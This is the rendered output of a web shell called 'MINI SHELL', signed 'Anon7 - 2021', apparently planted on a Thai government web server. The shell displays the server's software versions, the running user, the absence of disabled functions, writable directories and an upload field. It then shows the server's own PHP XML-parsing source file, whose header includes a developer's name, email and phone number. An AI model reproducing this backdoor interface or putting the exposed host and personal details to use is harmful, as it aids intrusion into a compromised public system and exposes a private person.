MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/common/classXML/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/common/classXML/xml2array.inc.php
<?
	###################################################################
	## PATHUMTHANI INTEGRATION : XML TO MYSQL CLASS
	###################################################################
	## Version :			20100823.001 (Created/Modified; Date.RunNumber)
	## Created Date :	2010-08-23 09:00
	## Created By :		Mr.JESSADA RUEDEEKULRUNGROJ (AUSSY)
	## E-mail :				jessada@sapphire.co.th
	## Tel. :				087-7271185
	## Company :		Sapphire Research and Development Co.,Ltd. (C)All Right Reserved
	###################################################################
	
	ini_set('memory_limit', '1000000M');
	
	function xml2array ($xml) {
	  $xmlary = array ();
	//  if ((strlen ($xml) < 256) && is_file ($xml))
	//		$xml = file_get_contents ($xml);
	 
	  $ReElements = '/<(\w+)\s*([^\/>]*)\s*(?:\/>|>(.*?)<(\/\s*\1\s*)>)/s';
	  $ReAttributes = '/(\w+)=(?:"|\')([^"\']*)(:?"|\')/';
	 
	  preg_match_all ($ReElements, $xml, $elements);
	  foreach ($elements[1] as $ie => $xx) {
			$xmlary[$ie]["name"] = $elements[1][$ie];
	
			if ( $attributes = trim($elements[2][$ie])) {
				preg_match_all ($ReAttributes, $attributes, $att);
	
				foreach ($att[1] as $ia => $xx)
					// all the attributes for current element are added here
					$xmlary[$ie]["attributes"][$att[1][$ia]] = $att[2][$ia];
			} // if $attributes
		
			// get text if it's combined with sub elements
			$cdend = strpos($elements[3][$ie],"<");
	
			if ($cdend > 0) {
				$xmlary[$ie]["text"] = substr($elements[3][$ie],0,$cdend -1);
			} // if cdend
	
	//		if (preg_match ($ReElements, $elements[3][$ie])){ 
			if (preg_match ($ReElements, $elements[3][$ie])){ 
				$xmlary[$ie]["elements"] = xml2array ($elements[3][$ie]);
			} else if (isset($elements[3][$ie])){
				$xmlary[$ie]["text"] = $elements[3][$ie];
			}
			$xmlary[$ie]["closetag"] = $elements[4][$ie];
	
		}//foreach ?
	
		return $xmlary;
	}
	
	function getElement($xml,$elname) {
		if (!is_array($xml)){
			$xml = array($xml);
		}
	
		for ($i=0;$i<count($xml);$i++){
			if ($elname == $xml[$i][name]){
				return $xml[$i];
			}else if (is_array($xml[$i][elements])){
				$node = GetElement($xml[$i][elements],$elname);
				if ($node){
					return $node;
				}
			}
		}
		return false;
	}
?>

Anon7 - 2021